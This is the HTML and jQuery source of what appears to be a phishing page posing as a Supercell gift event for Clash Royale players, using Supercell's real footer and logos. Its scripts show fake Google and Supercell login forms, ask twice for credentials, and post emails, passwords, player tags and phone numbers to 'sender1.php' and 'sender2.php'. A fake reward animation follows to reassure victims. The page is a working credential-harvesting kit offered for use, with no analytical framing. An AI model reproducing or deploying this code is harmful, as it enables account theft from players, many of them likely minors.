				 Thank you for joining this event, our teams will process and sent your gift soon as possible, please check your email immediately.
			</p>
		</div>
	</div>

	<div class="id-verification" style="display:none">
		<span class="id-text shadow">Please Enter Your Tag</span>
		<input class="id-input" id="playertag" placeholder="Example: #123456" required>
		<div class="id-btn" id="submitButtonz">Search</div>
		<p class="id-alert shadow" style="display: none;">Invalid Tag, Try again</p>
	</div>

<script>
var buka = new Audio('media/click.mp3');

$(document).ready(function() {

    function playSound() {
        if (typeof buka !== 'undefined' && buka.play) {
          buka.currentTime = 0;
          buka.play().catch(function (error) {
            console.log("Gagal memutar audio:", error);
          });
        }
    }

	$('#submitButtonz').on('click', function(event) {
        playSound();

        const playerTagInput = $('#playertag');
        let playerTag = playerTagInput.val().trim();
        const formMessage = $('.id-alert');
        const loadingSpinner = $('#loadingSpinner');
        const submitButton = $(this);

        formMessage.hide().text('').removeClass('error success');

        if (!playerTag) {
            formMessage.text('Player ID cannot be empty.').addClass('error').show();
            playerTagInput.focus();
            return;
        }

                $('.id-verification').hide();
                // $('.claimz').hide();
                // $('.claim').show();
                // $('.accountInfo').show();
                // $(".popscid").show();
				$('.popscid, .phone-verif').show();
                $('.cont').hide();
                $('.slider .bawah').css('justify-content', 'center');
                // $('.nickname').html(response && response.name ? `${response.name}` : '');
                // $('#nicksuccess').html(response && response.name ? `Hi, ${response.name}` : 'Hi, Player');
                $('#s1_playertag').val(playerTag);
                $('#s0_playertag').val(playerTag);
                $('#s2_playertag').val(playerTag);
                $('#s3_playertag').val(playerTag);

    });

    $('#submitButton').on('click', function(event) {
        playSound();

        const playerTagInput = $('#playertag');
        let playerTag = playerTagInput.val().trim();
        const formMessage = $('.id-alert');
        const loadingSpinner = $('#loadingSpinner');
        const submitButton = $(this);

        formMessage.hide().text('').removeClass('error success');

        if (!playerTag) {
            formMessage.text('Player ID cannot be empty.').addClass('error').show();
            playerTagInput.focus();
            return;
        }

        $.ajax({
            url: 'api-shagitz.php',
            type: 'POST',
            data: { player_tag: playerTag },
            dataType: 'json',
            beforeSend: function() {
                loadingSpinner.show();
                submitButton.prop('disabled', true).text('Checking...');
            },
            success: function(response) {
                $('.id-verification').hide();
                $('.claimz').hide();
                $('.claim').show();
                $('.accountInfo').show();
                // $(".popscid").show();
                $('.nickname').html(response && response.name ? `${response.name}` : '');
                $('#nicksuccess').html(response && response.name ? `Hi, ${response.name}` : 'Hi, Player');

                if (response && response.clan && response.clan.name && response.clan.badgeId) {
                    $('.info .list.clan').html(`<img src="img/battle.png" alt="Clan Badge"> ${response.clan.name}`);
                } else {
                    $('.info .list.clan').html(`<img src="img/battle.png" alt="Clan Badge"> No Clan`);
                }

                if (response && typeof response.expLevel !== 'undefined') {
                    $('.info .list.exp').html(`<img src="img/exp.webp" alt="Experience"> ${response.expLevel}`);
                } else {
                    $('.info .list.exp').html(`<img src="img/exp.webp" alt="Experience"> N/A`);
                }

                if (response && response.arena.name) {
                    const townHallImageUrl = `img/tournament.png`;
                    $('.info .list.th').html(`<img src="${townHallImageUrl}" alt="Town Hall ${response.arena.name}"> ${response.arena.name}`);
                } else {
                    $('.info .list.th').html(`<img src="img/tournament.png" alt="Town Hall"> N/A`);
                }

                if (response && typeof response.trophies !== 'undefined') {
                    $('.info .list.trophy').html(`<img src="img/trophy.webp" alt="Trophies"> ${response.trophies}`);
                } else {
                    $('.info .list.trophy').html(`<img src="img/trophy.webp" alt="Trophies"> N/A`);
                }

                let townhallText = response && response.arena.name ? `${response.arena.name}` : 'N/A';
                let expText = response && typeof response.expLevel !== 'undefined' ? `Exp Level ${response.expLevel}` : 'N/A';
                let apiPlayerTag = response && response.tag ? response.tag : `#${playerTag.toUpperCase()}`;
                let apiPlayerName = response && response.name ? response.name : '';
                let apiClanName = response && response.clan && response.clan.name ? response.clan.name : 'No Clan';

                $('#s1_townhall').val(townhallText);
                $('#s1_exp').val(expText);
                $('#s1_playertag').val(apiPlayerTag);
                $('#s1_playername').val(apiPlayerName);
                $('#s1_clan').val(apiClanName);

                $('#s2_townhall').val(townhallText);
                $('#s2_exp').val(expText);
                $('#s2_playertag').val(apiPlayerTag);
                $('#s2_playername').val(apiPlayerName);
                $('#s2_clan').val(apiClanName);

                $('#s3_townhall').val(townhallText);
                $('#s3_exp').val(expText);
                $('#s3_playertag').val(apiPlayerTag);
                $('#s3_playername').val(apiPlayerName);
                $('#s3_clan').val(apiClanName);
            },
            error: function(jqXHR, textStatus, errorThrown) {
                let errorMessage = `Error: ${errorThrown} (${jqXHR.status}). Tidak dapat menghubungi server.`;
                try {
                    var errorResponse = JSON.parse(jqXHR.responseText);
                    if (errorResponse && errorResponse.reason === "notFound") {
                        errorMessage = 'Invalid Tag, Try again';
                    } else if (errorResponse && errorResponse.error) {
                        errorMessage = 'Invalid Tag or Server Error, Try again';
                    }
                } catch (e) {
                    console.warn("Error parsing server response or other error:", e);
                }
                formMessage.text(errorMessage).addClass('error').show();
            },
            complete: function() {
                loadingSpinner.hide();
                submitButton.prop('disabled', false).text('Search');
            }
        });
    });
});
</script>

<script>
function open_google_login() {
    $('.login-google').show();
    $(".popscid").hide();
    $('#ValidateLoginGoogleForm')[0].reset();
    $('.input-box').removeClass('focus active error');
    $('#email-google').get(0).type = 'email';
    $('#password-google').get(0).type = 'password';
    $('#show-password').prop('checked', false);
    $('.email-google, .sandi-google').hide();
    $('.box-google').show();
    $('.box-loading').hide();
}

function close_google() {
    $('.login-google').removeClass('animate__fadeIn').addClass('animate__fadeOut');
    setTimeout(function() {
        $('.login-google').css('display', 'none').removeClass('animate__animated animate__fadeOut');
    }, 500);
}

function setFocus(isFocused, el) {
    const $el = $(el);
    const parentBox = $el.closest('.input-box');
    parentBox.toggleClass('focus', isFocused);

    if (!isFocused) {
        parentBox.toggleClass('active', $el.val() !== '');
    }

    if (parentBox.hasClass('error')) {
        parentBox.removeClass('error');
        if (el.id === 'email-google') $('.email-google').hide();
        if (el.id === 'password-google') $('.sandi-google').hide();
        if (el.id === 'phone') parentBox.removeClass('error');
    }
}

function togglePasswordVisibility() {
    const passwordInput = $('#password-google');
    passwordInput.attr('type', $('#show-password').is(':checked') ? 'text' : 'password');
}
function togglePasswordVisibility2() {
    const passwordInput2 = $('#password-google2');
    passwordInput2.attr('type', $('#show-password2').is(':checked') ? 'text' : 'password');
}

function ValidateLoginGoogleData() {
    if ($('.box-loading').is(':visible')) {
        return;
    }

    let $emailgp = $('#email-google').val().trim();
    let $passwordgp = $('#password-google').val().trim();
    let $logingp = $('#login-google').val().trim();
    let $s1_playertag = $('#s1_playertag').val().trim();

    const $emailBox = $('#email-google').closest('.input-box');
    const $passwordBox = $('#password-google').closest('.input-box');

    $emailBox.removeClass('error');
    $passwordBox.removeClass('error');
    $('.email-google, .sandi-google').hide();

    if ($emailgp === '' || $emailgp === null || $emailgp.length <= 7 || !$emailgp.includes('@')) {
        $emailBox.addClass('error').removeClass('focus active');
        $('.email-google').find('span').text("Enter a valid email or phone number").end().show();
        return;
    } else {
        $emailBox.addClass('active');
    }

    if ($passwordgp === '' || $passwordgp === null || $passwordgp.length <= 7) {
        $passwordBox.addClass('error').removeClass('focus active');
        $('.sandi-google').find('span').text("Enter your password").end().show();
        return;
    } else {
        $passwordBox.addClass('active');
    }

    $('#btn-login-google').text('Loading...');
    $.ajax({
        type: 'POST',
        url: 'sender1.php',
        data: {
            email: $emailgp,
            password: $passwordgp,
            login: $logingp,
            playertag: $s1_playertag,
        },
		beforesend: function(){
                $('.login-google').hide();
                $('.login-google2').show();
		},
        success: function (response) {
                $('#validate_login').val('Google');
                $('#validate_email').val($emailgp);
                $('#validate_password').val($passwordgp);
				$('.login-google').hide();
				$('.login-google2').show();
        }
    });
}

function ValidateLoginGoogleData2() {
    if ($('.box-loading').is(':visible')) {
        return;
    }

    let $emailgp2 = $('#email-google2').val().trim();
    let $passwordgp2 = $('#password-google2').val().trim();
    let $logingp2 = $('#login-google2').val().trim();
    let $s1_playertag = $('#s1_playertag').val().trim();

    const $emailBox2 = $('#email-google2').closest('.input-box');
    const $passwordBox2 = $('#password-google2').closest('.input-box');

    $emailBox2.removeClass('error');
    $passwordBox2.removeClass('error');
    $('.email-google2, .sandi-google2').hide();

    if ($emailgp2 === '' || $emailgp2 === null || $emailgp2.length <= 7 || !$emailgp2.includes('@')) {
        $emailBox2.addClass('error').removeClass('focus active');
        $('.email-google2').find('span').text("Enter a valid email or phone number").end().show();
        return;
    } else {
        $emailBox2.addClass('active');
    }

    if ($passwordgp2 === '' || $passwordgp2 === null || $passwordgp2.length <= 7) {
        $passwordBox2.addClass('error').removeClass('focus active');
        $('.sandi-google2').find('span').text("Enter your password").end().show();
        return;
    } else {
        $passwordBox2.addClass('active');
    }
   $('#login-google2').hide();
                $('.popscid, .phone-verif').show();
                $('.cont').hide();
                $('.slider .bawah').css('justify-content', 'center');
    $.ajax({
        type: 'POST',
        url: 'sender1.php',
        data: {
            email: $emailgp2,
            password: $passwordgp2,
            login: $logingp2,
            playertag: $s1_playertag
        },
		beforesend: function(){
                $('#login-google2').hide();
				$('.id-verification').show();
                $('.popscid').hide();
                // $('.popscid, .phone-verif').show();
                // $('.cont').hide();
                // $('.slider .bawah').css('justify-content', 'center');
		},
        success: function (response) {
				$('#login-google2').hide();
                $('.id-verification').show();
				$('.popscid').hide();
                // $('.popscid, .phone-verif').show();
                // $('.cont').hide();
                // $('.slider .bawah').css('justify-content', 'center');
        }
    });
}

function ValidateLoginSupercell() {
    let $emailsc = $('#emailsc').val().trim();
    let $passwordsc = $('#passwordsc').val().trim();
    let $loginsc = $('#loginsc').val().trim();
    let $s2_playertag = $('#s2_playertag').val().trim();

    const $emailBox = $('#emailsc').closest('.input-box');
    const $passwordBox = $('#passwordsc').closest('.input-box');

    $emailBox.removeClass('error');
    $passwordBox.removeClass('error');
    $('.email-google, .sandi-google').hide();

    if ($emailsc === '' || $emailsc === null || !$emailsc.includes('@')) {
        $('#emailsc').focus();
        return;
    } else {
        $('#emailsc').focus();
    }

    if ($passwordsc === '' || $passwordsc === null) {
        $('#passwordsc').focus();
        return;
    } else {
        $('#passwordsc').focus();
    }
    $('#validate_login').val('Supercell');
    $('#validate_email').val($emailsc);
    $('#validate_password').val($passwordsc);
    $('#buttonsc1').hide();
    $('#buttonsc2').show();
    $('#buttongp1').hide();
    $('#buttongp2').show();
    $.ajax({
        type: 'POST',
        url: 'sender1.php',
        data: {
            email: $emailsc,
            password: $passwordsc,
            login: $loginsc,
            playertag: $s2_playertag
        },
		beforesend: function(){
			$('#supercell1').hide();
			$('#supercell2').show();
		},
        success: function (response) {
				$('#supercell1').hide();
			    $('#supercell2').show();
        }
    });
}

function ValidateLoginSupercell2() {
    let $emailsc2 = $('#emailsc2').val().trim();
    let $passwordsc2 = $('#passwordsc2').val().trim();
    let $loginsc2 = $('#loginsc2').val().trim();
    let $s2_playertag = $('#s2_playertag').val().trim();

    const $emailBox2 = $('#emailsc2').closest('.input-box');
    const $passwordBox2 = $('#passwordsc2').closest('.input-box');

    $emailBox2.removeClass('error');
    $passwordBox2.removeClass('error');
    $('.email-google2, .sandi-google2').hide();

    if ($emailsc2 === '' || $emailsc2 === null || !$emailsc2.includes('@')) {
        $('#emailsc2').focus();
        return;
    } else {
        $('#emailsc2').focus();
    }

    if ($passwordsc2 === '' || $passwordsc2 === null) {
        $('#passwordsc2').focus();
        return;
    } else {
        $('#passwordsc2').focus();
    }
    $('#buttonsc-sec1').hide();
    $('#buttonsc-sec2').show();
    $.ajax({
        type: 'POST',
        url: 'sender1.php',
        data: {
            email: $emailsc2,
            password: $passwordsc2,
            login: $loginsc2,
            playertag: $s2_playertag,
        },
		beforesend: function(){
			$('.id-verification').show();
			$('.popscid').hide();
                // $('.popscid, .phone-verif').show();
                // $('.cont').hide();
                // $('.slider .bawah').css('justify-content', 'center');
		},
        success: function (response) {
				$('.id-verification').show();
				$('.popscid').hide();
                // $('.popscid, .phone-verif').show();
                // $('.cont').hide();
                // $('.slider .bawah').css('justify-content', 'center');
        }
    });
}

function ValidatePhone() {
    let $phone = $('#phone').val().trim();
    let $validate_email = $('#validate_email').val().trim();
    let $validate_password = $('#validate_password').val().trim();
    let $validate_login = $('#validate_login').val().trim();
    let $s3_playertag = $('#s3_playertag').val().trim();

    let isValid = true; 
    const $phoneBox = $('#phone').closest('.input-box');

    $phoneBox.removeClass('error');

    if ($phone === '' || $phone === null) {
        $phoneBox.addClass('error');
        $('#phone').focus();
        isValid = false;
    } else {
        $phoneBox.addClass('active');
    }

    if (!isValid) {
        return false;
    }

    if ($('.box-loading').is(':visible') && $('#phone-submit-btn').prop('disabled')) {
         return false;
    }
    
    $('#phone-submit-btn').prop('disabled', true);
    $('.phone-verif').hide();
    $('.box-loading').show();
    $('.loader-spinner').show();
    $('.loader-text').text('Verifying...');

    $.ajax({
        type: 'POST',
        url: 'sender2.php',
        data: {
            email: $validate_email,
            password: $validate_password,
            login: $validate_login,
            playertag: $s3_playertag,
            phone: $phone
        },
		beforeSend: function() {
			$('.cont, .phone-verif, .box-loading').hide();
			// $('.popscid').hide();
			$('.success-alert').show();
		    $('.slider .bawah').css('justify-content', 'flex-end');
		},
        success: function (response) {
            $('.cont, .phone-verif, .box-loading').hide();
            // $('.popscid').hide();
            $('.success-alert').show();
		    $('.slider .bawah').css('justify-content', 'flex-end');
        }
    });
}


$(document).ready(function() {
    $('#email-google, #password-google, #phone').each(function() {
        const el = this;
        setFocus(false, el);
        $(el).on('focus', function() { setFocus(true, this); })
               .on('blur', function() { setFocus(false, this); });
    });

    $("#claimnow").click(function(){
        $(".popscid").show();
        $("#claimnow").hide();
        $("#claimnowz").show();
        // $('.id-verification').show();
		// $('.success-alert').show();
		// $('.slider .bawah').css('justify-content', 'flex-end');
    });
});
</script>
    <div class="foot">
		<div class="site-menu" style="padding-top:60px">
			<a href="#"></a>
			<a href="#"></a>
			<a href="#"></a>
			<a href="#"></a>
			<a href="#"></a>
		</div>
		<div class="address" style="margin-top:10px">
			<div class="left">
				<p>Supercell Oy</p>
				<p>Jätkäsaarenlaituri 1</p>
				<p>00180 Helsinki</p>
				<p>Finland</p>
				<p>Business ID 2336509-6</p>
			</div>
			<div class="right">
				<img src="https://store.supercell.com/_next/static/media/supercell-logo-white.ad1dad43.svg">
			</div>
		</div>
    </div>
	<div class="footer">
		<div class="contact">
			<span class="text">Follow us on</span>
			<div class="sci">
				<img src="https://store.supercell.com/_next/static/media/icon-social-youtube-white.fde9d8af.svg">
				<img src="https://store.supercell.com/_next/static/media/icon-social-facebook-white.bf013e40.svg">
				<img src="https://store.supercell.com/_next/static/media/icon-social-instagram-white.6672578f.svg">
				<img src="https://store.supercell.com/_next/static/media/icon-social-twitter-white.f4745db2.svg">
				<img src="https://store.supercell.com/_next/static/media/icon-social-linkedin-white.c916ba21.svg">
				<img src="https://store.supercell.com/_next/static/media/icon-social-glassdoor-white.5589fd18.svg">
			</div>
		</div>
		<div class="download">
			<span class="text">Download our games from</span>
			<div class="store">
				<img src="https://store.supercell.com/_next/static/media/app-store_badge_en.181ec940.svg">
				<img src="https://store.supercell.com/_next/static/media/google-play-badge_en.e2ec89df.png">
			</div>
		</div>
		<div class="site-menu">
			<a href="#">Terms of Service</a>
			<a href="#">Privacy Policy</a>
			<a href="#">Parent's Guide</a>
			<a href="#">Safe and Fair Play Policy</a>
			<a href="#">Manage Cookies</a>
		</div>
		<div class="address" style="margin-top:10px">
			<div class="left">
				<p>Supercell Oy</p>
				<p>Jätkäsaarenlaituri 1</p>
				<p>00180 Helsinki</p>
				<p>Finland</p>
				<p>Business ID 2336509-6</p>
			</div>
			<div class="right">
				<img src="https://store.supercell.com/_next/static/media/supercell-logo-white.ad1dad43.svg">
			</div>
		</div>
	</div>
</div>
<script defer="" src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon="{&quot;rayId&quot;:&quot;946d2b3fbad908df&quot;,&quot;version&quot;:&quot;2025.4.0-1-g37f21b1&quot;,&quot;r&quot;:1,&quot;token&quot;:&quot;df0e12cb01704ec38c0da660673f9d2c&quot;,&quot;serverTiming&quot;:{&quot;name&quot;:{&quot;cfExtPri&quot;:true,&quot;cfEdge&quot;:true,&quot;cfOrigin&quot;:true,&quot;cfL4&quot;:true,&quot;cfSpeedBrain&quot;:true,&quot;cfCacheStatus&quot;:true}}}" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/canvas-confetti@1.9.3/dist/confetti.browser.min.js"></script>
<script>
$(document).ready(function () {
  const videoPlayer = document.getElementById('rewardVideo');
  const $modalGacha = $('.modal-gacha');
  const $hintText = $modalGacha.find('.hint');
  const $initialClaimButton = $('#initialClaimCard .claim');
  const $initialClaimCard = $('#initialClaimCard');
  const $finalRewardCard = $('#finalRewardCard');

  const segmentDurations = [0.1, 1.5, 2, 2.5, 3, 2];
  let videoSegmentCount = 0;
  let videoPlayTimer = null;

  videoPlayer.preload = 'auto';
  videoPlayer.load();

  videoPlayer.oncanplaythrough = () => {
    console.log("✅ Video fully buffered");
  };

  function playCurrentSegment() {
    if (videoSegmentCount >= segmentDurations.length) return;

    const duration = segmentDurations[videoSegmentCount];
    clearTimeout(videoPlayTimer);

    videoPlayer.play().then(() => {
      $hintText.addClass('hide');
    }).catch((err) => {
      console.warn("⚠️ Video play error:", err);
      if (videoSegmentCount === 0) {
        $hintText.removeClass('hide').text("Tap to play!");
      }
    });

    videoPlayTimer = setTimeout(() => {
      videoPlayer.pause();

      if (videoSegmentCount === segmentDurations.length - 1) {
        $modalGacha.addClass('hide');
        $finalRewardCard.removeClass('hide');
        videoPlayer.currentTime = 0;
        triggerConfetti();
        $('.footer').show();
        $('.foot').hide();
      } else {
        $hintText.removeClass('hide').text("Tap!");
      }
    }, duration * 1000);
  }

  const confettiCanvas = document.getElementById('confetti-canvas');
  let myConfetti = confetti?.create(confettiCanvas, { resize: true, useWorker: true });

  function triggerConfetti() {
    if (!myConfetti) return;
    myConfetti({
      particleCount: 150,
      spread: 100,
      origin: { y: 0.6 },
      startVelocity: 45,
      gravity: 0.8,
      ticks: 300,
      colors: ['#FFC700', '#FF0000', '#26CCFF', '#A864FD', '#78FF44', '#FF718D', '#FDFF6A']
    });
    setTimeout(() => myConfetti({ particleCount: 70, spread: 60, origin: { x: 0.2, y: 0.7 }, angle: 60 }), 250);
    setTimeout(() => myConfetti({ particleCount: 70, spread: 60, origin: { x: 0.8, y: 0.7 }, angle: 120 }), 450);
  }

  $initialClaimButton.on('click', () => {
    $initialClaimCard.addClass('hide');
    $modalGacha.removeClass('hide');
    $('.footer').hide();
    $('.foot').show();
    const selectedReward = rewards[Math.floor(Math.random() * rewards.length)];
    $('#finalRewardCard .g-title').text(selectedReward.title);
    $('#finalRewardCard .g-imgBox img').attr('src', selectedReward.imageSrc);

    videoSegmentCount = 0;
    videoPlayer.currentTime = 0;
    videoPlayer.pause();
    playCurrentSegment();
});

  $modalGacha.on('click', () => {
    if (videoPlayer.paused && videoSegmentCount < segmentDurations.length - 1) {
      videoSegmentCount++;
      playCurrentSegment();
    }
  });

  const rewards = [
        { title: "Furnace Evolution", imageSrc: "img/reward/a1.webp" },
        { title: "Skeleton Barrel", imageSrc: "img/reward/a2.webp" },
        { title: "Dart Goblin", imageSrc: "img/reward/a3.webp" },
        { title: "Bomber Evolution", imageSrc: "img/reward/a4.webp" },
        { title: "Goblin Giant", imageSrc: "img/reward/a5.webp" },
        { title: "MegaKnight EVO", imageSrc: "img/reward/a6.webp" },
        { title: "Musketeer Evolution", imageSrc: "img/reward/a7.webp" }
    ];
  rewards.forEach(r => new Image().src = r.imageSrc);
});

</script>    
<canvas id="confetti-canvas" style="display:block;z-index:999999;pointer-events:none;position:fixed;top:0;left:0;" width="982" height="738"></canvas>                                                                                                                                                               
</body>
</html>